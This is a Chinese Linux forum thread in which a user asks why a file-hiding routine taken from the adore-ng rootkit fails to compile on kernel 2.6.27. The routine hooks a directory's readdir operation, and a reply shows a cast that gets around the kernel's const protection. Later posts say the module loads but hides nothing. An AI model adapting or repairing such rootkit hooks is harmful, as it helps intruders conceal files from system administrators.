免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 2449 | 回复: 5
打印 上一主题 下一主题

struct file 中字段 f_op 赋值问题 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2010-04-05 04:38 |只看该作者 |倒序浏览
编译adore-ng-0.54的代码时候提示“错误:向只读位置‘*filep->f_op’赋值”
相关的代码段如下:
  1. int patch_vfs(const char *p, readdir_t *orig_readdir, readdir_t new_readdir)
  2. {
  3.         struct file *filep;

  4.         filep = filp_open(p, O_RDWR|O_DIRECTORY, 0);
  5.         if (IS_ERR(filep)) {
  6.                 return -1;
  7.         }

  8.         if (orig_readdir)
  9.                 *orig_readdir = filep->f_op->readdir;   //保存原始的readdir,以便rootkit退出时能恢复

  10.         filep->f_op->readdir = new_readdir;         //用new_readdir替换
  11.         filp_close(filep, 0);
  12.         return 0;
  13. }
复制代码
fedora10的系统,内核版本是2.6.27.5
请问有什么方法能给f_op赋值么?

论坛徽章:
0
2 [报告]
发表于 2010-04-05 11:53 |只看该作者
高版本的内核中将f_op变成了const
这样看看
((struct file_operations *)(filep->f_op))->readdir =new_readdir;

论坛徽章:
0
3 [报告]
发表于 2010-04-05 14:57 |只看该作者
按楼上的方法编译通过了,非常感谢

论坛徽章:
0
4 [报告]
发表于 2010-04-05 18:23 |只看该作者
这只能编译通过吧~
实际执行的话会不会报错?~

论坛徽章:
0
5 [报告]
发表于 2010-04-05 18:56 |只看该作者
这只能编译通过吧~
实际执行的话会不会报错?~
superfight 发表于 2010-04-05 18:23


我只把adore里面隐藏文件的部分给提取出来凑了个模块。
insmod没有报错,但是也没有起到隐藏文件的作用。
刚接触Linux,完全不知道怎么回事,在看怎么调程序呢。

论坛徽章:
0
6 [报告]
发表于 2010-04-05 19:36 |只看该作者
回复 5# colorfulgreen


    我在内核板块有个隐藏文件的,测试是通过了的,2.618。你可以去看下!
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP